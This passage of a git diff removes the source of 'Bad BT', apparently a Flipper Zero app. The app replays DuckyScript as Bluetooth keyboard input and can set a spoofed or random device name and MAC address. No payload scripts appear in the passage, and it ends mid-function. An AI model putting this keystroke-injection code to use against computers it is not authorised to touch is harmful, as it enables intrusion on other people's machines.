continue; - } else if( - (flags == (unsigned)FuriFlagErrorTimeout) || - (flags == (unsigned)FuriFlagErrorResource)) { - bool string_end = ducky_string_next(bad_bt); - if(string_end) { - bad_bt->stringdelay = 0; - worker_state = BadBtStateRunning; - } - } else { - furi_check((flags & FuriFlagError) == 0); - } - } else if( - (worker_state == BadBtStateFileError) || - (worker_state == BadBtStateScriptError)) { // State: error - uint32_t flags = - bad_bt_flags_get(WorkerEvtEnd, FuriWaitForever); // Waiting for exit command - - if(flags & WorkerEvtEnd) { - break; - } - } - - update_bt_timeout(bad_bt->bt); - } - - bt_set_status_changed_callback(bad_bt->bt, NULL, NULL); - - storage_file_close(script_file); - storage_file_free(script_file); - furi_string_free(bad_bt->line); - furi_string_free(bad_bt->line_prev); - furi_string_free(bad_bt->string_print); - - FURI_LOG_I(WORKER_TAG, "End"); - - return 0; -} - -static void bad_bt_script_set_default_keyboard_layout(BadBtScript* bad_bt) { - furi_assert(bad_bt); - furi_string_set_str(bad_bt->keyboard_layout, ""); - memset(bad_bt->layout, HID_KEYBOARD_NONE, sizeof(bad_bt->layout)); - memcpy(bad_bt->layout, hid_asciimap, MIN(sizeof(hid_asciimap), sizeof(bad_bt->layout))); -} - -BadBtScript* bad_bt_script_open(FuriString* file_path, Bt* bt, BadBtApp* app) { - furi_assert(file_path); - - BadBtScript* bad_bt = malloc(sizeof(BadBtScript)); - bad_bt->app = app; - bad_bt->file_path = furi_string_alloc(); - furi_string_set(bad_bt->file_path, file_path); - bad_bt->keyboard_layout = furi_string_alloc(); - bad_bt_script_set_default_keyboard_layout(bad_bt); - - bad_bt->st.state = BadBtStateInit; - bad_bt->st.error[0] = '\0'; - - bad_bt->bt = bt; - - bad_bt->thread = furi_thread_alloc_ex("BadBtWorker", 2048, bad_bt_worker, bad_bt); - furi_thread_start(bad_bt->thread); - return bad_bt; -} - -void bad_bt_script_close(BadBtScript* bad_bt) { - furi_assert(bad_bt); - furi_record_close(RECORD_STORAGE); - furi_thread_flags_set(furi_thread_get_id(bad_bt->thread), WorkerEvtEnd); - furi_thread_join(bad_bt->thread); - furi_thread_free(bad_bt->thread); - furi_string_free(bad_bt->file_path); - furi_string_free(bad_bt->keyboard_layout); - free(bad_bt); -} - -void bad_bt_script_set_keyboard_layout(BadBtScript* bad_bt, FuriString* layout_path) { - furi_assert(bad_bt); - - if((bad_bt->st.state == BadBtStateRunning) || (bad_bt->st.state == BadBtStateDelay)) { - // do not update keyboard layout while a script is running - return; - } - - File* layout_file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); - if(!furi_string_empty(layout_path)) { //-V1051 - furi_string_set(bad_bt->keyboard_layout, layout_path); - if(storage_file_open( - layout_file, furi_string_get_cstr(layout_path), FSAM_READ, FSOM_OPEN_EXISTING)) { - uint16_t layout[128]; - if(storage_file_read(layout_file, layout, sizeof(layout)) == sizeof(layout)) { - memcpy(bad_bt->layout, layout, sizeof(layout)); - } - } - storage_file_close(layout_file); - } else { - bad_bt_script_set_default_keyboard_layout(bad_bt); - } - storage_file_free(layout_file); -} - -void bad_bt_script_toggle(BadBtScript* bad_bt) { - furi_assert(bad_bt); - furi_thread_flags_set(furi_thread_get_id(bad_bt->thread), WorkerEvtStartStop); -} - -BadBtState* bad_bt_script_get_state(BadBtScript* bad_bt) { - furi_assert(bad_bt); - return &(bad_bt->st); -} \ No newline at end of file diff --git a/applications/external/bad_bt/helpers/ducky_script.h b/applications/external/bad_bt/helpers/ducky_script.h deleted file mode 100644 index ea0f91040..000000000 --- a/applications/external/bad_bt/helpers/ducky_script.h +++ /dev/null @@ -1,154 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -#include -#include -#include - -#include -#include -#include -#include -#include -#include "../views/bad_bt_view.h" - -#define FILE_BUFFER_LEN 16 - -typedef enum { - LevelRssi122_100, - LevelRssi99_80, - LevelRssi79_60, - LevelRssi59_40, - LevelRssi39_0, - LevelRssiNum, - LevelRssiError = 0xFF, -} LevelRssiRange; - -extern const uint8_t bt_hid_delays[LevelRssiNum]; - -extern uint8_t bt_timeout; - -typedef enum { - BadBtStateInit, - BadBtStateNotConnected, - BadBtStateIdle, - BadBtStateWillRun, - BadBtStateRunning, - BadBtStateDelay, - BadBtStateStringDelay, - BadBtStateWaitForBtn, - BadBtStateDone, - BadBtStateScriptError, - BadBtStateFileError, -} BadBtWorkerState; - -struct BadBtState { - BadBtWorkerState state; - uint32_t pin; - uint16_t line_cur; - uint16_t line_nb; - uint32_t delay_remain; - uint16_t error_line; - char error[64]; -}; - -typedef struct BadBtApp BadBtApp; - -typedef struct { - FuriHalUsbHidConfig hid_cfg; - FuriThread* thread; - BadBtState st; - - FuriString* file_path; - FuriString* keyboard_layout; - uint8_t file_buf[FILE_BUFFER_LEN + 1]; - uint8_t buf_start; - uint8_t buf_len; - bool file_end; - - uint32_t defdelay; - uint32_t stringdelay; - uint16_t layout[128]; - - FuriString* line; - FuriString* line_prev; - uint32_t repeat_cnt; - uint8_t key_hold_nb; - - bool set_usb_id; - bool set_bt_id; - bool has_usb_id; - bool has_bt_id; - - FuriString* string_print; - size_t string_print_pos; - - Bt* bt; - BadBtApp* app; -} BadBtScript; - -BadBtScript* bad_bt_script_open(FuriString* file_path, Bt* bt, BadBtApp* app); - -void bad_bt_script_close(BadBtScript* bad_bt); - -void bad_bt_script_set_keyboard_layout(BadBtScript* bad_bt, FuriString* layout_path); - -void bad_bt_script_start(BadBtScript* bad_bt); - -void bad_bt_script_stop(BadBtScript* bad_bt); - -void bad_bt_script_toggle(BadBtScript* bad_bt); - -BadBtState* bad_bt_script_get_state(BadBtScript* bad_bt); - -#define BAD_BT_ADV_NAME_MAX_LEN FURI_HAL_BT_ADV_NAME_LENGTH -#define BAD_BT_MAC_ADDRESS_LEN GAP_MAC_ADDR_SIZE - -// this is the MAC address used when we do not forget paired device (BOUND STATE) -extern const uint8_t BAD_BT_BOUND_MAC_ADDRESS[BAD_BT_MAC_ADDRESS_LEN]; -extern const uint8_t BAD_BT_EMPTY_MAC_ADDRESS[BAD_BT_MAC_ADDRESS_LEN]; - -typedef enum { - BadBtAppErrorNoFiles, - BadBtAppErrorCloseRpc, -} BadBtAppError; - -typedef struct { - char bt_name[BAD_BT_ADV_NAME_MAX_LEN]; - uint8_t bt_mac[BAD_BT_MAC_ADDRESS_LEN]; - GapPairing bt_mode; -} BadBtConfig; - -struct BadBtApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - NotificationApp* notifications; - DialogsApp* dialogs; - Widget* widget; - VariableItemList* var_item_list; - TextInput* text_input; - ByteInput* byte_input; - - BadBtAppError error; - FuriString* file_path; - FuriString* keyboard_layout; - BadBt* bad_bt_view; - BadBtScript* bad_bt_script; - - Bt* bt; - bool bt_remember; - BadBtConfig config; - BadBtConfig prev_config; - FuriThread* conn_init_thread; - FuriThread* switch_mode_thread; -}; - -int32_t bad_bt_config_switch_mode(BadBtApp* app); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/bad_bt/helpers/ducky_script_commands.c b/applications/external/bad_bt/helpers/ducky_script_commands.c deleted file mode 100644 index eddab96ac..000000000 --- a/applications/external/bad_bt/helpers/ducky_script_commands.c +++ /dev/null @@ -1,201 +0,0 @@ -#include -#include -#include "ducky_script.h" -#include "ducky_script_i.h" - -typedef int32_t (*DuckyCmdCallback)(BadBtScript* bad_bt, const char* line, int32_t param); - -typedef struct { - char* name; - DuckyCmdCallback callback; - int32_t param; -} DuckyCmd; - -static int32_t ducky_fnc_delay(BadBtScript* bad_bt, const char* line, int32_t param) { - UNUSED(param); - - line = &line[ducky_get_command_len(line) + 1]; - uint32_t delay_val = 0; - bool state = ducky_get_number(line, &delay_val); - if((state) && (delay_val > 0)) { - return (int32_t)delay_val; - } - - return ducky_error(bad_bt, "Invalid number %s", line); -} - -static int32_t ducky_fnc_defdelay(BadBtScript* bad_bt, const char* line, int32_t param) { - UNUSED(param); - - line = &line[ducky_get_command_len(line) + 1]; - bool state = ducky_get_number(line, &bad_bt->defdelay); - if(!state) { - return ducky_error(bad_bt, "Invalid number %s", line); - } - return 0; -} - -static int32_t ducky_fnc_strdelay(BadBtScript* bad_bt, const char* line, int32_t param) { - UNUSED(param); - - line = &line[ducky_get_command_len(line) + 1]; - bool state = ducky_get_number(line, &bad_bt->stringdelay); - if(!state) { - return ducky_error(bad_bt, "Invalid number %s", line); - } - return 0; -} - -static int32_t ducky_fnc_string(BadBtScript* bad_bt, const char* line, int32_t param) { - line = &line[ducky_get_command_len(line) + 1]; - furi_string_set_str(bad_bt->string_print, line); - if(param == 1) { - furi_string_cat(bad_bt->string_print, "\n"); - } - - if(bad_bt->stringdelay == 0) { // stringdelay not set - run command immidiately - bool state = ducky_string(bad_bt, furi_string_get_cstr(bad_bt->string_print)); - if(!state) { - return ducky_error(bad_bt, "Invalid string %s", line); - } - } else { // stringdelay is set - run command in thread to keep handling external events - return SCRIPT_STATE_STRING_START; - } - - return 0; -} - -static int32_t ducky_fnc_repeat(BadBtScript* bad_bt, const char* line, int32_t param) { - UNUSED(param); - - line = &line[ducky_get_command_len(line) + 1]; - bool state = ducky_get_number(line, &bad_bt->repeat_cnt); - if((!state) || (bad_bt->repeat_cnt == 0)) { - return ducky_error(bad_bt, "Invalid number %s", line); - } - return 0; -} - -static int32_t ducky_fnc_sysrq(BadBtScript* bad_bt, const char* line, int32_t param) { - UNUSED(param); - - line = &line[ducky_get_command_len(line) + 1]; - uint16_t key = ducky_get_keycode(bad_bt, line, true); - - furi_hal_bt_hid_kb_press(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); - furi_hal_bt_hid_kb_press(key); - furi_delay_ms(bt_timeout); - furi_hal_bt_hid_kb_release(key); - furi_hal_bt_hid_kb_release(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); - return 0; -} - -static int32_t ducky_fnc_altchar(BadBtScript* bad_bt, const char* line, int32_t param) { - UNUSED(param); - - line = &line[ducky_get_command_len(line) + 1]; - ducky_numlock_on(bad_bt); - bool state = ducky_altchar(bad_bt, line); - if(!state) { - return ducky_error(bad_bt, "Invalid altchar %s", line); - } - return 0; -} - -static int32_t ducky_fnc_altstring(BadBtScript* bad_bt, const char* line, int32_t param) { - UNUSED(param); - - line = &line[ducky_get_command_len(line) + 1]; - ducky_numlock_on(bad_bt); - bool state = ducky_altstring(bad_bt, line); - if(!state) { - return ducky_error(bad_bt, "Invalid altstring %s", line); - } - return 0; -} - -static int32_t ducky_fnc_hold(BadBtScript* bad_bt, const char* line, int32_t param) { - UNUSED(param); - - line = &line[ducky_get_command_len(line) + 1]; - uint16_t key = ducky_get_keycode(bad_bt, line, true); - if(key == HID_KEYBOARD_NONE) { - return ducky_error(bad_bt, "No keycode defined for %s", line); - } - bad_bt->key_hold_nb++; - if(bad_bt->key_hold_nb > (HID_KB_MAX_KEYS - 1)) { - return ducky_error(bad_bt, "Too many keys are hold"); - } - furi_hal_bt_hid_kb_press(key); - - return 0; -} - -static int32_t ducky_fnc_release(BadBtScript* bad_bt, const char* line, int32_t param) { - UNUSED(param); - - line = &line[ducky_get_command_len(line) + 1]; - uint16_t key = ducky_get_keycode(bad_bt, line, true); - if(key == HID_KEYBOARD_NONE) { - return ducky_error(bad_bt, "No keycode defined for %s", line); - } - if(bad_bt->key_hold_nb == 0) { - return ducky_error(bad_bt, "No keys are hold"); - } - bad_bt->key_hold_nb--; - furi_hal_bt_hid_kb_release(key); - return 0; -} - -static int32_t ducky_fnc_waitforbutton(BadBtScript* bad_bt, const char* line, int32_t param) { - UNUSED(param); - UNUSED(bad_bt); - UNUSED(line); - - return SCRIPT_STATE_WAIT_FOR_BTN; -} - -static const DuckyCmd ducky_commands[] = { - {"REM", NULL, -1}, - {"ID", NULL, -1}, - {"BT_ID", NULL, -1}, - {"DELAY", ducky_fnc_delay, -1}, - {"STRING", ducky_fnc_string, 0}, - {"STRINGLN", ducky_fnc_string, 1}, - {"DEFAULT_DELAY", ducky_fnc_defdelay, -1}, - {"DEFAULTDELAY", ducky_fnc_defdelay, -1}, - {"STRINGDELAY", ducky_fnc_strdelay, -1}, - {"STRING_DELAY", ducky_fnc_strdelay, -1}, - {"REPEAT", ducky_fnc_repeat, -1}, - {"SYSRQ", ducky_fnc_sysrq, -1}, - {"ALTCHAR", ducky_fnc_altchar, -1}, - {"ALTSTRING", ducky_fnc_altstring, -1}, - {"ALTCODE", ducky_fnc_altstring, -1}, - {"HOLD", ducky_fnc_hold, -1}, - {"RELEASE", ducky_fnc_release, -1}, - {"WAIT_FOR_BUTTON_PRESS", ducky_fnc_waitforbutton, -1}, -}; - -#define TAG "BadBT" -#define WORKER_TAG TAG "Worker" - -int32_t ducky_execute_cmd(BadBtScript* bad_bt, const char* line) { - size_t cmd_word_len = strcspn(line, " "); - for(size_t i = 0; i < COUNT_OF(ducky_commands); i++) { - size_t cmd_compare_len = strlen(ducky_commands[i].name); - - if(cmd_compare_len != cmd_word_len) { - continue; - } - - if(strncmp(line, ducky_commands[i].name, cmd_compare_len) == 0) { - if(ducky_commands[i].callback == NULL) { - return 0; - } else { - return ((ducky_commands[i].callback)(bad_bt, line, ducky_commands[i].param)); - } - } - } - - return SCRIPT_STATE_CMD_UNKNOWN; -} diff --git a/applications/external/bad_bt/helpers/ducky_script_i.h b/applications/external/bad_bt/helpers/ducky_script_i.h deleted file mode 100644 index 08afa65a4..000000000 --- a/applications/external/bad_bt/helpers/ducky_script_i.h +++ /dev/null @@ -1,44 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -#include -#include -#include "ducky_script.h" - -#define SCRIPT_STATE_ERROR (-1) -#define SCRIPT_STATE_END (-2) -#define SCRIPT_STATE_NEXT_LINE (-3) -#define SCRIPT_STATE_CMD_UNKNOWN (-4) -#define SCRIPT_STATE_STRING_START (-5) -#define SCRIPT_STATE_WAIT_FOR_BTN (-6) - -uint16_t ducky_get_keycode(BadBtScript* bad_bt, const char* param, bool accept_chars); - -uint32_t ducky_get_command_len(const char* line); - -bool ducky_is_line_end(const char chr); - -uint16_t ducky_get_keycode_by_name(const char* param); - -bool ducky_get_number(const char* param, uint32_t* val); - -void ducky_numlock_on(BadBtScript* bad_bt); - -bool ducky_numpad_press(BadBtScript* bad_bt, const char num); - -bool ducky_altchar(BadBtScript* bad_bt, const char* charcode); - -bool ducky_altstring(BadBtScript* bad_bt, const char* param); - -bool ducky_string(BadBtScript* bad_bt, const char* param); - -int32_t ducky_execute_cmd(BadBtScript* bad_bt, const char* line); - -int32_t ducky_error(BadBtScript* bad_bt, const char* text, ...); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/bad_bt/helpers/ducky_script_keycodes.c b/applications/external/bad_bt/helpers/ducky_script_keycodes.c deleted file mode 100644 index 55c52810f..000000000 --- a/applications/external/bad_bt/helpers/ducky_script_keycodes.c +++ /dev/null @@ -1,78 +0,0 @@ -#include -#include "ducky_script_i.h" - -typedef struct { - char* name; - uint16_t keycode; -} DuckyKey; - -static const DuckyKey ducky_keys[] = { - {"CTRL-ALT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_ALT}, - {"CTRL-SHIFT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_SHIFT}, - {"ALT-SHIFT", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_SHIFT}, - {"ALT-GUI", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_GUI}, - {"GUI-SHIFT", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_SHIFT}, - {"GUI-CTRL", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_CTRL}, - - {"CTRL", KEY_MOD_LEFT_CTRL}, - {"CONTROL", KEY_MOD_LEFT_CTRL}, - {"SHIFT", KEY_MOD_LEFT_SHIFT}, - {"ALT", KEY_MOD_LEFT_ALT}, - {"GUI", KEY_MOD_LEFT_GUI}, - {"WINDOWS", KEY_MOD_LEFT_GUI}, - - {"DOWNARROW", HID_KEYBOARD_DOWN_ARROW}, - {"DOWN", HID_KEYBOARD_DOWN_ARROW}, - {"LEFTARROW", HID_KEYBOARD_LEFT_ARROW}, - {"LEFT", HID_KEYBOARD_LEFT_ARROW}, - {"RIGHTARROW", HID_KEYBOARD_RIGHT_ARROW}, - {"RIGHT", HID_KEYBOARD_RIGHT_ARROW}, - {"UPARROW", HID_KEYBOARD_UP_ARROW}, - {"UP", HID_KEYBOARD_UP_ARROW}, - - {"ENTER", HID_KEYBOARD_RETURN}, - {"BREAK", HID_KEYBOARD_PAUSE}, - {"PAUSE", HID_KEYBOARD_PAUSE}, - {"CAPSLOCK", HID_KEYBOARD_CAPS_LOCK}, - {"DELETE", HID_KEYBOARD_DELETE_FORWARD}, - {"BACKSPACE", HID_KEYBOARD_DELETE}, - {"END", HID_KEYBOARD_END}, - {"ESC", HID_KEYBOARD_ESCAPE}, - {"ESCAPE", HID_KEYBOARD_ESCAPE}, - {"HOME", HID_KEYBOARD_HOME}, - {"INSERT", HID_KEYBOARD_INSERT}, - {"NUMLOCK", HID_KEYPAD_NUMLOCK}, - {"PAGEUP", HID_KEYBOARD_PAGE_UP}, - {"PAGEDOWN", HID_KEYBOARD_PAGE_DOWN}, - {"PRINTSCREEN", HID_KEYBOARD_PRINT_SCREEN}, - {"SCROLLLOCK", HID_KEYBOARD_SCROLL_LOCK}, - {"SPACE", HID_KEYBOARD_SPACEBAR}, - {"TAB", HID_KEYBOARD_TAB}, - {"MENU", HID_KEYBOARD_APPLICATION}, - {"APP", HID_KEYBOARD_APPLICATION}, - - {"F1", HID_KEYBOARD_F1}, - {"F2", HID_KEYBOARD_F2}, - {"F3", HID_KEYBOARD_F3}, - {"F4", HID_KEYBOARD_F4}, - {"F5", HID_KEYBOARD_F5}, - {"F6", HID_KEYBOARD_F6}, - {"F7", HID_KEYBOARD_F7}, - {"F8", HID_KEYBOARD_F8}, - {"F9", HID_KEYBOARD_F9}, - {"F10", HID_KEYBOARD_F10}, - {"F11", HID_KEYBOARD_F11}, - {"F12", HID_KEYBOARD_F12}, -}; - -uint16_t ducky_get_keycode_by_name(const char* param) { - for(size_t i = 0; i < COUNT_OF(ducky_keys); i++) { - size_t key_cmd_len = strlen(ducky_keys[i].name); - if((strncmp(param, ducky_keys[i].name, key_cmd_len) == 0) && - (ducky_is_line_end(param[key_cmd_len]))) { - return ducky_keys[i].keycode; - } - } - - return HID_KEYBOARD_NONE; -} diff --git a/applications/external/bad_bt/images/badbt_10px.png b/applications/external/bad_bt/images/badbt_10px.png deleted file mode 100644 index 037474aa3..000000000 Binary files a/applications/external/bad_bt/images/badbt_10px.png and /dev/null differ diff --git a/applications/external/bad_bt/scenes/bad_bt_scene.c b/applications/external/bad_bt/scenes/bad_bt_scene.c deleted file mode 100644 index c207ae44b..000000000 --- a/applications/external/bad_bt/scenes/bad_bt_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "bad_bt_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const bad_bt_scene_on_enter_handlers[])(void*) = { -#include "bad_bt_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const bad_bt_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "bad_bt_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const bad_bt_scene_on_exit_handlers[])(void* context) = { -#include "bad_bt_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers bad_bt_scene_handlers = { - .on_enter_handlers = bad_bt_scene_on_enter_handlers, - .on_event_handlers = bad_bt_scene_on_event_handlers, - .on_exit_handlers = bad_bt_scene_on_exit_handlers, - .scene_num = BadBtSceneNum, -}; diff --git a/applications/external/bad_bt/scenes/bad_bt_scene.h b/applications/external/bad_bt/scenes/bad_bt_scene.h deleted file mode 100644 index a316034ef..000000000 --- a/applications/external/bad_bt/scenes/bad_bt_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) BadBtScene##id, -typedef enum { -#include "bad_bt_scene_config.h" - BadBtSceneNum, -} BadBtScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers bad_bt_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "bad_bt_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "bad_bt_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "bad_bt_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/bad_bt/scenes/bad_bt_scene_config.c b/applications/external/bad_bt/scenes/bad_bt_scene_config.c deleted file mode 100644 index 5fc9c0012..000000000 --- a/applications/external/bad_bt/scenes/bad_bt_scene_config.c +++ /dev/null @@ -1,104 +0,0 @@ -#include "../bad_bt_app.h" -#include "../helpers/ducky_script.h" -#include "furi_hal_power.h" - -enum VarItemListIndex { - VarItemListIndexKeyboardLayout, - VarItemListIndexBtRemember, - VarItemListIndexBtDeviceName, - VarItemListIndexBtMacAddress, - VarItemListIndexRandomizeBtMac, -}; - -void bad_bt_scene_config_bt_remember_callback(VariableItem* item) { - BadBtApp* bad_bt = variable_item_get_context(item); - bad_bt->bt_remember = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, bad_bt->bt_remember ? "ON" : "OFF"); - view_dispatcher_send_custom_event(bad_bt->view_dispatcher, VarItemListIndexBtRemember); -} - -void bad_bt_scene_config_var_item_list_callback(void* context, uint32_t index) { - BadBtApp* bad_bt = context; - view_dispatcher_send_custom_event(bad_bt->view_dispatcher, index); -} - -void bad_bt_scene_config_on_enter(void* context) { - BadBtApp* bad_bt = context; - VariableItemList* var_item_list = bad_bt->var_item_list; - VariableItem* item; - - item = variable_item_list_add(var_item_list, "Keyboard layout", 0, NULL, bad_bt); - - item = variable_item_list_add( - var_item_list, "BT Remember", 2, bad_bt_scene_config_bt_remember_callback, bad_bt); - variable_item_set_current_value_index(item, bad_bt->bt_remember); - variable_item_set_current_value_text(item, bad_bt->bt_remember ? "ON" : "OFF"); - - item = variable_item_list_add(var_item_list, "BT Device Name", 0, NULL, bad_bt); - if(bad_bt->bad_bt_script->set_bt_id) { - variable_item_set_locked(item, true, "Script has\nBT_ID cmd!\nLocked to\nset Name!"); - } - - item = variable_item_list_add(var_item_list, "BT MAC Address", 0, NULL, bad_bt); - if(bad_bt->bt_remember) { - variable_item_set_locked(item, true, "Remember\nmust be Off!"); - } else if(bad_bt->bad_bt_script->set_bt_id) { - variable_item_set_locked(item, true, "Script has\nBT_ID cmd!\nLocked to\nset MAC!"); - } - - item = variable_item_list_add(var_item_list, "Randomize BT MAC", 0, NULL, bad_bt); - if(bad_bt->bt_remember) { - variable_item_set_locked(item, true, "Remember\nmust be Off!"); - } else if(bad_bt->bad_bt_script->set_bt_id) { - variable_item_set_locked(item, true, "Script has\nBT_ID cmd!\nLocked to\nset MAC!"); - } - - variable_item_list_set_enter_callback( - var_item_list, bad_bt_scene_config_var_item_list_callback, bad_bt); - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(bad_bt->scene_manager, BadBtSceneConfig)); - - view_dispatcher_switch_to_view(bad_bt->view_dispatcher, BadBtAppViewConfig); -} - -bool bad_bt_scene_config_on_event(void* context, SceneManagerEvent event) { - BadBtApp* bad_bt = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(bad_bt->scene_manager, BadBtSceneConfig, event.event); - consumed = true; - switch(event.event) { - case VarItemListIndexKeyboardLayout: - scene_manager_next_scene(bad_bt->scene_manager, BadBtSceneConfigLayout); - break; - case VarItemListIndexBtRemember: - bad_bt_config_switch_remember_mode(bad_bt); - scene_manager_previous_scene(bad_bt->scene_manager); - scene_manager_next_scene(bad_bt->scene_manager, BadBtSceneConfig); - break; - case VarItemListIndexBtDeviceName: - scene_manager_next_scene(bad_bt->scene_manager, BadBtSceneConfigName); - break; - case VarItemListIndexBtMacAddress: - scene_manager_next_scene(bad_bt->scene_manager, BadBtSceneConfigMac); - break; - case VarItemListIndexRandomizeBtMac: - furi_hal_random_fill_buf(bad_bt->config.bt_mac, BAD_BT_MAC_ADDRESS_LEN); - bt_set_profile_mac_address(bad_bt->bt, bad_bt->config.bt_mac); - break; - default: - break; - } - } - - return consumed; -} - -void bad_bt_scene_config_on_exit(void* context) { - BadBtApp* bad_bt = context; - VariableItemList* var_item_list = bad_bt->var_item_list; - - variable_item_list_reset(var_item_list); -} diff --git a/applications/external/bad_bt/scenes/bad_bt_scene_config.h b/applications/external/bad_bt/scenes/bad_bt_scene_config.h deleted file mode 100644 index f7914e6dd..000000000 --- a/applications/external/bad_bt/scenes/bad_bt_scene_config.h +++ /dev/null @@ -1,7 +0,0 @@ -ADD_SCENE(bad_bt, file_select, FileSelect) -ADD_SCENE(bad_bt, work, Work) -ADD_SCENE(bad_bt, error, Error) -ADD_SCENE(bad_bt, config, Config) -ADD_SCENE(bad_bt, config_layout, ConfigLayout) -ADD_SCENE(bad_bt, config_name, ConfigName) -ADD_SCENE(bad_bt, config_mac, ConfigMac) diff --git a/applications/external/bad_bt/scenes/bad_bt_scene_config_layout.c b/applications/external/bad_bt/scenes/bad_bt_scene_config_layout.c deleted file mode 100644 index b0ce2d084..000000000 --- a/applications/external/bad_bt/scenes/bad_bt_scene_config_layout.c +++ /dev/null @@ -1,47 +0,0 @@ -#include "../bad_bt_app.h" -#include "furi_hal_power.h" -#include - -static bool bad_bt_layout_select(BadBtApp* bad_bt) { - furi_assert(bad_bt); - - FuriString* predefined_path; - predefined_path = furi_string_alloc(); - if(!furi_string_empty(bad_bt->keyboard_layout)) { - furi_string_set(predefined_path, bad_bt->keyboard_layout); - } else { - furi_string_set(predefined_path, BAD_BT_APP_PATH_LAYOUT_FOLDER); - } - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, BAD_BT_APP_LAYOUT_EXTENSION, &I_keyboard_10px); - browser_options.base_path = BAD_BT_APP_PATH_LAYOUT_FOLDER; - browser_options.skip_assets = false; - - // Input events and views are managed by file_browser - bool res = dialog_file_browser_show( - bad_bt->dialogs, bad_bt->keyboard_layout, predefined_path, &browser_options); - - furi_string_free(predefined_path); - return res; -} - -void bad_bt_scene_config_layout_on_enter(void* context) { - BadBtApp* bad_bt = context; - - if(bad_bt_layout_select(bad_bt)) { - bad_bt_script_set_keyboard_layout(bad_bt->bad_bt_script, bad_bt->keyboard_layout); - } - scene_manager_previous_scene(bad_bt->scene_manager); -} - -bool bad_bt_scene_config_layout_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void bad_bt_scene_config_layout_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/bad_bt/scenes/bad_bt_scene_config_mac.c b/applications/external/bad_bt/scenes/bad_bt_scene_config_mac.c deleted file mode 100644 index dcc783f0f..000000000 --- a/applications/external/bad_bt/scenes/bad_bt_scene_config_mac.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "../bad_bt_app.h" - -#define TAG "BadBtConfigMac" - -void bad_bt_scene_config_mac_byte_input_callback(void* context) { - BadBtApp* bad_bt = context; - - view_dispatcher_send_custom_event(bad_bt->view_dispatcher, BadBtAppCustomEventByteInputDone); -} - -void bad_bt_scene_config_mac_on_enter(void* context) { - BadBtApp* bad_bt = context; - - furi_hal_bt_reverse_mac_addr(bad_bt->config.bt_mac); - - // Setup view - ByteInput* byte_input = bad_bt->byte_input; - byte_input_set_header_text(byte_input, "Set BT MAC address"); - byte_input_set_result_callback( - byte_input, - bad_bt_scene_config_mac_byte_input_callback, - NULL, - bad_bt, - bad_bt->config.bt_mac, - GAP_MAC_ADDR_SIZE); - view_dispatcher_switch_to_view(bad_bt->view_dispatcher, BadBtAppViewConfigMac); -} - -bool bad_bt_scene_config_mac_on_event(void* context, SceneManagerEvent event) { - BadBtApp* bad_bt = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == BadBtAppCustomEventByteInputDone) { - scene_manager_previous_scene(bad_bt->scene_manager); - consumed = true; - } - } - return consumed; -} - -void bad_bt_scene_config_mac_on_exit(void* context) { - BadBtApp* bad_bt = context; - - furi_hal_bt_reverse_mac_addr(bad_bt->config.bt_mac); - - bt_set_profile_mac_address(bad_bt->bt, bad_bt->config.bt_mac); - - // Clear view - byte_input_set_result_callback(bad_bt->byte_input, NULL, NULL, NULL, NULL, 0); - byte_input_set_header_text(bad_bt->byte_input, ""); -} diff --git a/applications/external/bad_bt/scenes/bad_bt_scene_config_name.c b/applications/external/bad_bt/scenes/bad_bt_scene_config_name.c deleted file mode 100644 index 61d198b8c..000000000 --- a/applications/external/bad_bt/scenes/bad_bt_scene_config_name.c +++ /dev/null @@ -1,45 +0,0 @@ -#include "../bad_bt_app.h" - -static void bad_bt_scene_config_name_text_input_callback(void* context) { - BadBtApp* bad_bt = context; - - view_dispatcher_send_custom_event(bad_bt->view_dispatcher, BadBtAppCustomEventTextEditResult); -} - -void bad_bt_scene_config_name_on_enter(void* context) { - BadBtApp* bad_bt = context; - TextInput* text_input = bad_bt->text_input; - - 